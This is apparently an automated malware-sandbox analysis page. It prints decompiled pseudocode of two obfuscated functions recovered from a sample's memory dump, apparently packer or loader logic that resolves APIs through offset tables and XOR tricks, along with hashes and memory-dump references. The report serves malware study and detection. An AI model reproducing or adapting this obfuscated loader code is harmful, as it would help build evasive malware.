Instruction ID: 3e1958167928e9924a5a6cfb1a7b7632ca6261f62d32e27cfee302488e3fc0fd
Opcode Fuzzy Hash: 4342e90b92e638b973889a9d05bcbe9378d07ee4f75416b9680d699ffb522fa4
Instruction Fuzzy Hash: A9C1AE72808208EFEB159F64C8897AEBBF5FF88715F15409DEC889F246DB741590CB68

Uniqueness

Uniqueness Score: -1.00%

Function 016C247B, Relevance: .3, Instructions: 254
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E016C247B(void* __ecx, signed int __edx, signed int __edi) {
				signed int _t153;
				signed int _t157;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				signed int _t164;
				void* _t166;
				signed int _t168;
				signed int _t169;
				signed int _t172;
				void* _t178;
				signed int _t179;
				signed int _t187;
				signed int _t193;
				signed int _t197;
				signed int _t199;
				signed int _t201;
				signed int _t206;
				void* _t216;
				signed int _t218;
				signed int _t221;
				signed int _t233;
				void* _t236;
				signed int _t237;
				signed int _t239;
				void* _t240;
				void* _t250;
				signed int _t252;
				signed int _t255;
				signed int* _t260;

				_t221 = __edi;
				_t197 = __edx;
				_t172 = 0x418087;
				 *((intOrPtr*)(_t255 + 0x13)) =  *((intOrPtr*)(_t255 + 0x13)) + __edx;
				_t153 =  *0x008750A3();
				 *_t4 = _t153;
				 *0x0083010E =  *(_t255 - 0x10);
				while(1) {
					L7:
					 *_t260 = _t153;
					_t233 = 0 ^  *_t221;
					_t153 = 0;
					if( *(_t172 + 0x41816b) == 0) {
						_t260[1] =  *(_t172 + 0x418487);
						_t197 =  *_t260;
						 *_t260 =  *(_t172 + 0x418338);
						_t187 =  *_t260;
						 *_t260 =  *(_t172 + 0x4183ec);
						_t153 =  *((intOrPtr*)(_t172 + 0x45d03c))(_t179, _t197, _t153, _t233);
						 *(_t255 - 0x10) = _t187;
						 *(_t172 + 0x41816b) =  *(_t172 + 0x41816b) & 0x00000000;
						 *(_t172 + 0x41816b) =  *(_t172 + 0x41816b) | _t187 ^  *(_t255 - 0x10) ^ _t153;
						_t179 =  *(_t255 - 0x10);
					}
					while(1) {
						_push(_t153);
						_t157 =  *_t260;
						 *_t260 =  *(_t221 + 0x10);
						if( *(_t172 + 0x4185cb) == 0) {
							_t157 =  *((intOrPtr*)(_t172 + 0x45d024))();
							 *_t260 = _t221;
							 *(_t172 + 0x4185cb) = 0 ^ _t157;
							_t221 = 0;
						}
						_pop( *_t48);
						if( *(_t172 + 0x418273) == 0) {
							_t157 =  *((intOrPtr*)(_t172 + 0x45d020))();
							 *_t260 = _t179;
							 *(_t172 + 0x418273) = _t157;
							_t179 = 0;
						}
						_t159 = _t157 & 0x00000000 | _t233 & 0x00000000 ^  *(_t255 + 8);
						_t236 = _t233;
						if( *(_t172 + 0x418203) == 0) {
							 *_t260 =  *_t260 & 0x00000000;
							 *_t260 =  *_t260 | _t159;
							_t169 =  *((intOrPtr*)(_t172 + 0x45d020))();
							 *(_t255 - 0x10) = _t221;
							 *(_t172 + 0x418203) = 0 ^ _t169;
							_t221 =  *(_t255 - 0x10);
							_t159 = _t221;
						}
						 *(_t255 - 0xc) =  *(_t255 - 0xc) + _t159;
						if( *(_t172 + 0x4184ef) == 0) {
							 *_t260 =  *(_t172 + 0x418127);
							_t221 =  *_t260;
							 *_t260 =  *(_t172 + 0x4182f7);
							_t260[1] =  *(_t172 + 0x4185f7);
							_t250 = _t236;
							_t252 =  *_t260;
							 *_t260 =  *(_t172 + 0x41827f);
							_t159 =  *((intOrPtr*)(_t172 + 0x45d048))(_t260, _t250, _t236, _t221, _t179);
							 *(_t172 + 0x4184ef) =  *(_t172 + 0x4184ef) & 0x00000000;
							 *(_t172 + 0x4184ef) =  *(_t172 + 0x4184ef) | _t252 ^  *_t260 | _t159;
							_t236 = _t252;
						}
						 *_t75 =  *((intOrPtr*)(_t221 + 0xc));
						_t178 =  *(_t255 - 0x10);
						if( *(_t172 + 0x418334) == 0) {
							 *_t260 =  *_t260 ^ _t172;
							 *_t260 =  *_t260 + _t178;
							_t193 =  *_t260;
							 *_t260 =  *(_t172 + 0x41838d);
							_t260[1] =  *(_t172 + 0x4185af);
							_t221 = _t221;
							_t255 =  *_t260;
							 *_t260 =  *(_t172 + 0x418410);
							_t159 =  *((intOrPtr*)(_t172 + 0x45d03c))(_t159, _t178, _t172);
							 *(_t255 - 0x10) = _t193;
							 *(_t172 + 0x418334) =  *(_t172 + 0x418334) & 0x00000000;
							 *(_t172 + 0x418334) =  *(_t172 + 0x418334) ^ (_t193 & 0x00000000 | _t159);
							_t178 = _t255;
						}
						_t179 = _t178 +  *(_t255 + 8);
						if( *(_t172 + 0x418474) == 0) {
							 *_t260 =  *_t260 & 0x00000000;
							 *_t260 =  *_t260 + _t179;
							_t159 =  *((intOrPtr*)(_t172 + 0x45d020))();
							 *(_t172 + 0x418474) =  *(_t172 + 0x418474) & 0x00000000;
							 *(_t172 + 0x418474) =  *(_t172 + 0x418474) | _t197 -  *_t260 ^ _t159;
							_t197 = _t197;
							_t179 = _t197;
						}
						_t237 = _t236 +  *(_t255 + 8);
						if( *(_t172 + 0x418020) == 0) {
							 *_t260 =  *_t260 - _t159;
							 *_t260 = _t179;
							 *_t260 =  *(_t172 + 0x418493);
							_t197 =  *_t260;
							 *_t260 =  *(_t172 + 0x418507);
							 *(_t255 - 0x10) =  *(_t255 - 0x10) & 0x00000000;
							 *_t260 =  *_t260 + _t172;
							 *_t260 =  *_t260 & 0x00000000;
							 *_t260 =  *_t260 ^ _t172;
							_t168 =  *((intOrPtr*)(_t172 + 0x45d044))( *(_t255 - 0x10),  *_t260, _t197, _t159);
							 *(_t255 - 0x10) = _t221;
							 *(_t172 + 0x418020) =  *(_t172 + 0x418020) & 0x00000000;
							 *(_t172 + 0x418020) =  *(_t172 + 0x418020) | _t221 ^  *(_t255 - 0x10) | _t168;
							_t221 =  *(_t255 - 0x10);
							_t179 = _t197;
						}
						 *_t260 = _t179;
						_t160 =  *((intOrPtr*)(_t172 + 0x45d00c))( *(_t255 - 0x10));
						 *(_t255 - 8) =  *(_t255 - 8) & 0x00000000;
						 *(_t255 - 8) =  *(_t255 - 8) ^ (_t172 -  *_t260 | _t160);
						_t172 = _t172;
						do {
							L24:
							if(( *_t237 & 0x80000000) != 0) {
								_t260[1] =  *_t237;
								_t199 = _t197;
								 *_t134 = _t221;
								 *(_t255 - 4) =  *(_t255 - 4) & 0x0000ffff;
							} else {
								 *(_t255 - 0x10) = 0;
								_push( *(_t255 - 0x10));
								 *_t260 =  *_t260 + _t237;
								_t206 = _t197;
								 *(_t255 - 0x10) = _t206;
								 *(_t255 - 4) =  *(_t255 - 4) & 0x00000000;
								 *(_t255 - 4) =  *(_t255 - 4) ^ _t206 ^  *(_t255 - 0x10) ^  *_t237 +  *(_t255 + 8) + 0x00000002;
								_t199 =  *(_t255 - 0x10);
								_pop(_t237);
							}
							 *_t138 =  *(_t255 - 4);
							_t161 =  *(_t255 - 0x10);
							_t260[1] =  *(_t255 - 4);
							_t201 = _t199;
							 *(_t255 - 0x10) = _t201;
							_t197 =  *(_t255 - 0x10);
							 *_t260 =  *_t260 ^ _t255;
							 *_t260 =  *_t260 + (_t161 & 0x00000000 | _t201 & 0x00000000 |  *(_t255 - 8));
							_t164 =  *((intOrPtr*)(_t172 + 0x45d008))(_t255, _t221);
							_push( *(_t255 - 0x10));
							 *_t260 = _t237;
							_t239 = _t237 & 0x00000000 ^ (_t221 & 0x00000000 |  *(_t255 - 0xc));
							_t221 = _t221;
							 *(_t255 - 0x10) = _t179;
							 *_t239 =  *_t239 & 0x00000000;
							 *_t239 =  *_t239 | _t179 & 0x00000000 ^ _t164;
							_t179 =  *(_t255 - 0x10);
							_pop(_t240);
							 *_t260 = 4;
							_t153 = _t221;
							_t237 = _t240 + _t153;
							 *(_t255 - 0xc) =  *(_t255 - 0xc) + _t153;
						} while ( *_t237 != 0);
						_t221 = _t221 + 0x14;
						_t255 = _t255;
						if( *_t221 != 0 ||  *(_t221 + 0x10) != 0) {
							if( *_t221 != 0) {
								goto L7;
							}
							if( *(_t172 + 0x418420) == 0) {
								_t153 =  *((intOrPtr*)(_t172 + 0x45d024))();
								 *(_t255 - 0x10) = _t179;
								 *(_t172 + 0x418420) = 0 ^ _t153;
								_t179 =  *(_t255 - 0x10);
							}
							 *(_t255 - 0x10) = _t172;
							_t233 = _t237 & 0x00000000 ^ _t172 -  *(_t255 - 0x10) ^  *(_t221 + 0x10);
							_t172 =  *(_t255 - 0x10);
							if( *(_t172 + 0x41812f) == 0) {
								_t260[1] =  *(_t172 + 0x418033);
								_t166 = _t153;
								 *_t260 =  *_t260 & 0x00000000;
								 *_t260 =  *_t260 + _t166;
								_t260[1] =  *(_t172 + 0x41813b);
								_t216 = _t197;
								_t218 =  *_t260;
								 *_t260 =  *(_t172 + 0x4182eb);
								_t153 =  *((intOrPtr*)(_t172 + 0x45d044))(_t216, _t233, _t172, _t153);
								 *(_t172 + 0x41812f) =  *(_t172 + 0x41812f) & 0x00000000;
								 *(_t172 + 0x41812f) =  *(_t172 + 0x41812f) ^ _t218 ^  *_t260 ^ _t153;
								_t197 = _t218;
							}
							_push(_t153);
							_t157 =  *_t260;
							 *_t260 =  *(_t221 + 0x10);
							if( *(_t172 + 0x4185cb) == 0) {
								_t157 =  *((intOrPtr*)(_t172 + 0x45d024))();
								 *_t260 = _t221;
								 *(_t172 + 0x4185cb) = 0 ^ _t157;
								_t221 = 0;
							}
							_pop( *_t48);
							if( *(_t172 + 0x418273) == 0) {
								_t157 =  *((intOrPtr*)(_t172 + 0x45d020))();
								 *_t260 = _t179;
								 *(_t172 + 0x418273) = _t157;
								_t179 = 0;
							}
							_t159 = _t157 & 0x00000000 | _t233 & 0x00000000 ^  *(_t255 + 8);
							_t236 = _t233;
							if( *(_t172 + 0x418203) == 0) {
								 *_t260 =  *_t260 & 0x00000000;
								 *_t260 =  *_t260 | _t159;
								_t169 =  *((intOrPtr*)(_t172 + 0x45d020))();
								 *(_t255 - 0x10) = _t221;
								 *(_t172 + 0x418203) = 0 ^ _t169;
								_t221 =  *(_t255 - 0x10);
								_t159 = _t221;
							}
							 *(_t255 - 0xc) =  *(_t255 - 0xc) + _t159;
							if( *(_t172 + 0x4184ef) == 0) {
								 *_t260 =  *(_t172 + 0x418127);
								_t221 =  *_t260;
								 *_t260 =  *(_t172 + 0x4182f7);
								_t260[1] =  *(_t172 + 0x4185f7);
								_t250 = _t236;
								_t252 =  *_t260;
								 *_t260 =  *(_t172 + 0x41827f);
								_t159 =  *((intOrPtr*)(_t172 + 0x45d048))(_t260, _t250, _t236, _t221, _t179);
								 *(_t172 + 0x4184ef) =  *(_t172 + 0x4184ef) & 0x00000000;
								 *(_t172 + 0x4184ef) =  *(_t172 + 0x4184ef) | _t252 ^  *_t260 | _t159;
								_t236 = _t252;
							}
							 *_t75 =  *((intOrPtr*)(_t221 + 0xc));
							_t178 =  *(_t255 - 0x10);
							if( *(_t172 + 0x418334) == 0) {
								 *_t260 =  *_t260 ^ _t172;
								 *_t260 =  *_t260 + _t178;
								_t193 =  *_t260;
								 *_t260 =  *(_t172 + 0x41838d);
								_t260[1] =  *(_t172 + 0x4185af);
								_t221 = _t221;
								_t255 =  *_t260;
								 *_t260 =  *(_t172 + 0x418410);
								_t159 =  *((intOrPtr*)(_t172 + 0x45d03c))(_t159, _t178, _t172);
								 *(_t255 - 0x10) = _t193;
								 *(_t172 + 0x418334) =  *(_t172 + 0x418334) & 0x00000000;
								 *(_t172 + 0x418334) =  *(_t172 + 0x418334) ^ (_t193 & 0x00000000 | _t159);
								_t178 = _t255;
							}
							_t179 = _t178 +  *(_t255 + 8);
							if( *(_t172 + 0x418474) == 0) {
								 *_t260 =  *_t260 & 0x00000000;
								 *_t260 =  *_t260 + _t179;
								_t159 =  *((intOrPtr*)(_t172 + 0x45d020))();
								 *(_t172 + 0x418474) =  *(_t172 + 0x418474) & 0x00000000;
								 *(_t172 + 0x418474) =  *(_t172 + 0x418474) | _t197 -  *_t260 ^ _t159;
								_t197 = _t197;
								_t179 = _t197;
							}
							_t237 = _t236 +  *(_t255 + 8);
							if( *(_t172 + 0x418020) == 0) {
								 *_t260 =  *_t260 - _t159;
								 *_t260 = _t179;
								 *_t260 =  *(_t172 + 0x418493);
								_t197 =  *_t260;
								 *_t260 =  *(_t172 + 0x418507);
								 *(_t255 - 0x10) =  *(_t255 - 0x10) & 0x00000000;
								 *_t260 =  *_t260 + _t172;
								 *_t260 =  *_t260 & 0x00000000;
								 *_t260 =  *_t260 ^ _t172;
								_t168 =  *((intOrPtr*)(_t172 + 0x45d044))( *(_t255 - 0x10),  *_t260, _t197, _t159);
								 *(_t255 - 0x10) = _t221;
								 *(_t172 + 0x418020) =  *(_t172 + 0x418020) & 0x00000000;
								 *(_t172 + 0x418020) =  *(_t172 + 0x418020) | _t221 ^  *(_t255 - 0x10) | _t168;
								_t221 =  *(_t255 - 0x10);
								_t179 = _t197;
							}
							 *_t260 = _t179;
							_t160 =  *((intOrPtr*)(_t172 + 0x45d00c))( *(_t255 - 0x10));
							 *(_t255 - 8) =  *(_t255 - 8) & 0x00000000;
							 *(_t255 - 8) =  *(_t255 - 8) ^ (_t172 -  *_t260 | _t160);
							_t172 = _t172;
							goto L24;
						} else {
							_push(_t237);
							return _t153 ^ _t153;
						}
					}
				}
			}

0x016c247b
0x016c247b
0x016c247b
0x016c2480
0x016c2483
0x016c248a
0x016c2490
0x016c2496
0x016c2496
0x016c2498
0x016c249f
0x016c24a1
0x016c24a9
0x016c24b3
0x016c24bf
0x016c24bf
0x016c24c9
0x016c24c9
0x016c24cc
0x016c24d2
0x016c24da
0x016c24e1
0x016c24e7
0x016c24e7
0x016c24ea
0x016c24ea
0x016c24ee
0x016c24ee
0x016c24f8
0x016c24fa
0x016c2502
0x016c2509
0x016c250f
0x016c250f
0x016c2510
0x016c251a
0x016c251c
0x016c2524
0x016c252b
0x016c2531
0x016c2531
0x016c253c
0x016c253e
0x016c2546
0x016c2549
0x016c254d
0x016c2550
0x016c2556
0x016c255d
0x016c2563
0x016c2566
0x016c2566
0x016c2567
0x016c2571
0x016c257a
0x016c2584
0x016c2584
0x016c258f
0x016c2593
0x016c259b
0x016c259b
0x016c259f
0x016c25ab
0x016c25b2
0x016c25b8
0x016c25b8
0x016c25bc
0x016c25c2
0x016c25ca
0x016c25cd
0x016c25d0
0x016c25da
0x016c25da
0x016c25e5
0x016c25e9
0x016c25f1
0x016c25f1
0x016c25f4
0x016c25fa
0x016c2602
0x016c2609
0x016c2612
0x016c2612
0x016c2613
0x016c261d
0x016c2620
0x016c2624
0x016c2627
0x016c2633
0x016c263a
0x016c2640
0x016c2641
0x016c2641
0x016c2642
0x016c264c
0x016c264f
0x016c2652
0x016c265c
0x016c2666
0x016c2666
0x016c2669
0x016c2670
0x016c2674
0x016c2678
0x016c267b
0x016c2681
0x016c2689
0x016c2690
0x016c2696
0x016c2699
0x016c2699
0x016c269d
0x016c26a0
0x016c26ac
0x016c26b0
0x016c26b3
0x016c26b4
0x016c26b4
0x016c26ba
0x016c26f3
0x016c26f7
0x016c26f8
0x016c26fb
0x016c26bc
0x016c26bc
0x016c26c3
0x016c26c6
0x016c26d9
0x016c26da
0x016c26e2
0x016c26e6
0x016c26e9
0x016c26ec
0x016c26ec
0x016c2705
0x016c270b
0x016c2711
0x016c2715
0x016c2716
0x016c2724
0x016c2728
0x016c272b
0x016c272e
0x016c2734
0x016c2737
0x016c2744
0x016c2746
0x016c2747
0x016c274f
0x016c2752
0x016c2754
0x016c2757
0x016c2759
0x016c2760
0x016c2761
0x016c2763
0x016c2766
0x016c2778
0x016c277a
0x016c277e
0x016c23f3
0x00000000
0x00000000
0x016c2400
0x016c2402
0x016c2408
0x016c240f
0x016c2415
0x016c2415
0x016c2418
0x016c2424
0x016c2426
0x016c2430
0x016c243a
0x016c243e
0x016c2440
0x016c2444
0x016c244f
0x016c2453
0x016c245b
0x016c245b
0x016c245e
0x016c246a
0x016c2471
0x016c2477
0x016c2477
0x016c24ea
0x016c24ee
0x016c24ee
0x016c24f8
0x016c24fa
0x016c2502
0x016c2509
0x016c250f
0x016c250f
0x016c2510
0x016c251a
0x016c251c
0x016c2524
0x016c252b
0x016c2531
0x016c2531
0x016c253c
0x016c253e
0x016c2546
0x016c2549
0x016c254d
0x016c2550
0x016c2556
0x016c255d
0x016c2563
0x016c2566
0x016c2566
0x016c2567
0x016c2571
0x016c257a
0x016c2584
0x016c2584
0x016c258f
0x016c2593
0x016c259b
0x016c259b
0x016c259f
0x016c25ab
0x016c25b2
0x016c25b8
0x016c25b8
0x016c25bc
0x016c25c2
0x016c25ca
0x016c25cd
0x016c25d0
0x016c25da
0x016c25da
0x016c25e5
0x016c25e9
0x016c25f1
0x016c25f1
0x016c25f4
0x016c25fa
0x016c2602
0x016c2609
0x016c2612
0x016c2612
0x016c2613
0x016c261d
0x016c2620
0x016c2624
0x016c2627
0x016c2633
0x016c263a
0x016c2640
0x016c2641
0x016c2641
0x016c2642
0x016c264c
0x016c264f
0x016c2652
0x016c265c
0x016c2666
0x016c2666
0x016c2669
0x016c2670
0x016c2674
0x016c2678
0x016c267b
0x016c2681
0x016c2689
0x016c2690
0x016c2696
0x016c2699
0x016c2699
0x016c269d
0x016c26a0
0x016c26ac
0x016c26b0
0x016c26b3
0x00000000
0x016c278e
0x016c278e
0x016c2799
0x016c2799
0x016c277e
0x016c24ea

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5063cc60d0f54240b9a3c44f49a1b41b478f4e192b9dbd546f22f91da9e65e9d
Instruction ID: e6bc4e0568de78465a4607afd37ece193782c416cda2cd70b1c48d93416383c4
Opcode Fuzzy Hash: 5063cc60d0f54240b9a3c44f49a1b41b478f4e192b9dbd546f22f91da9e65e9d
Instruction Fuzzy Hash: 03B19B32800215DFEB14DF64C8897AEBBF5FF88725F09886DDC899B246DB781450CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 016C6424, Relevance: .2, Instructions: 241
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E016C6424(signed int __ebx, signed int __ecx, signed int __edi, signed int __esi, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _t116;
				signed int _t118;
				signed int _t119;
				signed int _t123;
				signed int _t125;
				signed int _t126;
				signed int _t129;
				signed int _t132;
				void* _t133;
				signed int _t136;
				intOrPtr _t139;
				signed int _t140;
				signed int _t141;
				signed int _t142;
				signed int _t143;
				void* _t146;
				signed int _t147;
				void* _t150;
				signed int _t152;
				signed int _t153;
				signed int _t159;
				signed int _t162;
				signed int _t174;
				signed int _t180;
				signed int _t183;
				void* _t188;
				signed int* _t194;
				signed int _t197;
				void* _t200;
				signed int* _t207;
				signed int* _t208;
				signed int* _t210;

				_t183 = __esi;
				_t167 = __edi;
				_t147 = __ecx;
				_t143 = __ebx;
				_t194 = _t207;
				_t208 =  &(_t207[0xfffffffffffffffe]);
				if( *(__ebx + 0x41863f) == 0) {
					_push(__edi);
					 *_t208 =  *(__ebx + 0x418267);
					_push(__ecx);
					_push( *_t208);
					_v20 =  *((intOrPtr*)(__ebx + 0x4180fb));
					_pop(_t180);
					_push(_v12);
					 *_t208 = _t208;
					_t142 =  *((intOrPtr*)(__ebx + 0x45d03c))();
					_v8 = _t180;
					 *(__ebx + 0x41863f) =  *(__ebx + 0x41863f) & 0x00000000;
					 *(__ebx + 0x41863f) =  *(__ebx + 0x41863f) | _t180 ^ _v8 | _t142;
					_t167 = _v8;
				}
				 *_t208 =  *_t208 & 0x00000000;
				 *_t208 =  *_t208 ^ _t183;
				_t15 = _t143 + 0x418344; // 0x418344
				_v8 = _v8 & 0x00000000;
				_v20 = _v20 + _t15;
				_t116 =  *((intOrPtr*)(_t143 + 0x45d018))(_v8, _t147);
				 *(_t143 + 0x4182b7) =  *(_t143 + 0x4182b7) & 0x00000000;
				 *(_t143 + 0x4182b7) =  *(_t143 + 0x4182b7) | _t159 & 0x00000000 | _t116;
				_t162 = _t159;
				_t118 = _t116 & 0x00000000 ^ (_t143 & 0x00000000 | _a4);
				_t146 = _t143;
				if( *(_t146 + 0x4183ac) == 0) {
					 *_t208 =  *_t208 - _t146;
					 *_t208 = _t118;
					_v28 =  *((intOrPtr*)(_t146 + 0x4184c7));
					_t174 = _t167;
					_v32 =  *((intOrPtr*)(_t146 + 0x418464));
					_t162 = _t162;
					_v36 =  *((intOrPtr*)(_t146 + 0x4180db));
					_t194 = _t194;
					_t141 =  *((intOrPtr*)(_t146 + 0x45d040))(_t183, _t162, _t146);
					 *_t208 = _t174;
					 *(_t146 + 0x4183ac) = 0 ^ _t141;
					_t167 = 0;
					_t118 = _t183;
				}
				_t119 = _t118 - 1;
				if( *(_t146 + 0x4180ef) == 0) {
					_v8 = 0;
					 *_t208 =  *_t208 ^ _t119;
					_t140 =  *((intOrPtr*)(_t146 + 0x45d01c))(_v8);
					_v12 = _t167;
					 *(_t146 + 0x4180ef) =  *(_t146 + 0x4180ef) & 0x00000000;
					 *(_t146 + 0x4180ef) =  *(_t146 + 0x4180ef) ^ (_t167 & 0x00000000 | _t140);
					_t167 = _v12;
					_pop(_t119);
				}
				if(_t119 > 0) {
					if(_a12 != 0) {
						if( *(_t146 + 0x418324) == 0) {
							_v12 = _v12 & 0x00000000;
							 *_t208 =  *_t208 | _t119;
							_v28 =  *((intOrPtr*)(_t146 + 0x41861b));
							_t197 = _t194;
							_t147 = _v32;
							_v32 =  *((intOrPtr*)(_t146 + 0x4185bf));
							_v36 =  *((intOrPtr*)(_t146 + 0x4185c3));
							_t129 =  *((intOrPtr*)(_t146 + 0x45d040))(_t147, _t194, _v12);
							 *(_t146 + 0x418324) =  *(_t146 + 0x418324) & 0x00000000;
							 *(_t146 + 0x418324) =  *(_t146 + 0x418324) | _t197 & 0x00000000 | _t129;
							_t194 = _t197;
							_t119 = _t119;
						}
						_t123 = _t119;
						 *_t208 = _t123;
						_v28 = _v28 & 0x00000000;
						_v28 = _v28 ^ (_t147 & 0x00000000 | _t119 -  *_t208 | _a12);
						_t99 = _t146 + 0x41821f; // 0x8302c6
						_v8 = 0;
						_v32 = _v32 | _t99;
						_t125 =  *((intOrPtr*)(_t146 + 0x45d018))(_v8, _v12);
						_v12 = _t167;
						 *(_t146 + 0x41845c) =  *(_t146 + 0x41845c) & 0x00000000;
						 *(_t146 + 0x41845c) =  *(_t146 + 0x41845c) | _t167 ^ _v12 ^ _t125;
						_pop(_t150);
						_t126 = _t194;
						_v28 = _v28 ^ _t150 + _t126;
						_t152 = _t146;
						_t153 = _t152 & _a8;
						_t183 = _t183 + _t153;
						_v28 = _v28 - _t146;
						_v28 = _t183;
						_v32 = _t153;
						_v12 = _v12 & 0x00000000;
						_v36 = _v36 | _t126;
						_t119 = E016C6424(_t146, _t153, _v12, _t183, _v12, _v8, _t146);
					}
					_push(_t183);
					return _t119 ^ _t119;
				} else {
					if( *((intOrPtr*)(_t146 + 0x41805b)) == 0) {
						 *_t208 =  *_t208 - _t194;
						 *_t208 =  *_t208 ^ _t119;
						_v12 = _v12 & 0x00000000;
						_v28 = _v28 | _t119;
						_v32 =  *((intOrPtr*)(_t146 + 0x4183d0));
						_v36 =  *((intOrPtr*)(_t146 + 0x4182cb));
						_v8 = _v8 & 0x00000000;
						 *_t208 =  *_t208 | _v36;
						_t139 =  *((intOrPtr*)(_t146 + 0x45d044))(_v8, _t183, _t119, _v12, _t194);
						 *_t208 = _t147;
						 *((intOrPtr*)(_t146 + 0x41805b)) = _t139;
						_t147 = 0;
						_pop(_t119);
					}
					_pop(_t188);
					if( *(_t146 + 0x41822b) == 0) {
						_v20 = _v20 - _t147;
						_v20 = _v20 ^ _t119;
						_v28 =  *((intOrPtr*)(_t146 + 0x418647));
						_t162 = _v32;
						_v32 =  *((intOrPtr*)(_t146 + 0x4183e0));
						_v36 =  *(_t146 + 0x418307);
						 *_t208 =  *(_t146 + 0x41842c);
						_t136 =  *((intOrPtr*)(_t146 + 0x45d048))(_t188, _t147, _t162, _t119, _t147, 0, _t147);
						 *_t208 = _t194;
						 *(_t146 + 0x41822b) = 0 ^ _t136;
						_t194 = 0;
						_t119 = _t147;
					}
					_t210 = _t194;
					_pop(_t200);
					if( *(_t146 + 0x418552) == 0) {
						 *_t210 =  *_t210 & 0x00000000;
						 *_t210 =  *_t210 + _t119;
						_v20 =  *(_t146 + 0x4181fb);
						_v12 = _v12 & 0x00000000;
						 *_t210 = _t210 +  *_t210;
						_v28 =  *(_t146 + 0x418643);
						_t132 =  *((intOrPtr*)(_t146 + 0x45d03c))(_t162, _t162, _v12, _t119, _t162);
						 *(_t146 + 0x418552) =  *(_t146 + 0x418552) & 0x00000000;
						 *(_t146 + 0x418552) =  *(_t146 + 0x418552) | _t200 - _v32 ^ _t132;
						_t133 = _t200;
						return _t133;
					}
					return _t119;
				}
			}

0x016c6424
0x016c6424
0x016c6424
0x016c6424
0x016c6425
0x016c6427
0x016c6431
0x016c6433
0x016c643a
0x016c643d
0x016c643e
0x016c6445
0x016c6449
0x016c644a
0x016c644d
0x016c6450
0x016c6456
0x016c645e
0x016c6465
0x016c646b
0x016c646b
0x016c646f
0x016c6473
0x016c6476
0x016c647c
0x016c6483
0x016c6486
0x016c6492
0x016c6499
0x016c649f
0x016c64aa
0x016c64ac
0x016c64b4
0x016c64b7
0x016c64ba
0x016c64c5
0x016c64c9
0x016c64d2
0x016c64d6
0x016c64df
0x016c64e3
0x016c64e4
0x016c64ec
0x016c64f3
0x016c64f9
0x016c64fa
0x016c64fa
0x016c64fb
0x016c6503
0x016c6505
0x016c650f
0x016c6512
0x016c6518
0x016c6520
0x016c6527
0x016c652d
0x016c6530
0x016c6530
0x016c6534
0x016c667d
0x016c668a
0x016c668c
0x016c6693
0x016c669e
0x016c66a2
0x016c66aa
0x016c66aa
0x016c66b4
0x016c66b7
0x016c66c3
0x016c66ca
0x016c66d0
0x016c66d1
0x016c66d1
0x016c66de
0x016c66e2
0x016c66e6
0x016c66ea
0x016c66ed
0x016c66f3
0x016c66fd
0x016c6700
0x016c6706
0x016c670e
0x016c6715
0x016c671e
0x016c671f
0x016c6723
0x016c6726
0x016c6727
0x016c672a
0x016c672d
0x016c6730
0x016c6736
0x016c6739
0x016c6740
0x016c6743
0x016c6743
0x016c6748
0x016c6752
0x016c653a
0x016c6541
0x016c6544
0x016c6547
0x016c654a
0x016c6551
0x016c655b
0x016c6565
0x016c6568
0x016c656f
0x016c6572
0x016c657a
0x016c6581
0x016c6587
0x016c6588
0x016c6588
0x016c6589
0x016c6591
0x016c6594
0x016c6597
0x016c65a4
0x016c65b0
0x016c65b0
0x016c65bb
0x016c65c7
0x016c65ca
0x016c65d2
0x016c65d9
0x016c65df
0x016c65e0
0x016c65e0
0x016c65e1
0x016c65e1
0x016c65e9
0x016c65ec
0x016c65f0
0x016c65fa
0x016c65fd
0x016c6604
0x016c660f
0x016c6614
0x016c6620
0x016c6627
0x016c662e
0x00000000
0x016c662e
0x016c662f
0x016c662f

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c01750e277775b5bb73c90b0c73626882d4b9bebcb91e2c5f617f45b9fff920e
Instruction ID: 0c64c986d6bef36b1aeda7b14f33c7f93f8951997cff1319fcc3d7b516ecb4d4
Opcode Fuzzy Hash: c01750e277775b5bb73c90b0c73626882d4b9bebcb91e2c5f617f45b9fff920e
Instruction Fuzzy Hash: 8AA17F72804608EFEB049F64C8897AEBBF4FF84725F15849DEC88DA246DB741550CF69

Uniqueness

Uniqueness Score: -1.00%

Function 016C5AF6, Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 127c99f67a807fc3ec6899e3212679090504ea9fb9ca94da451e6946324d0a6f
Instruction ID: c64381c5a8e00610faf0ded5aae7138b7e774e973c54702b718e4e415938f973
Opcode Fuzzy Hash: 127c99f67a807fc3ec6899e3212679090504ea9fb9ca94da451e6946324d0a6f
Instruction Fuzzy Hash: FA516032E18504AFEB088FA9DD467BDF7F5EF84320F25816ED491A7280DB7829418B54

Uniqueness

Uniqueness Score: -1.00%

Function 016C2DF5, Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d33636ff269e6ce86d80894bdaab384b6ce7b48788419a0a639502d2374b5c3
Instruction ID: 7ae85df2ebdbd8aa2bd1dd3afe49ca1e910953eaa3a5f8ac9500659c0db65378
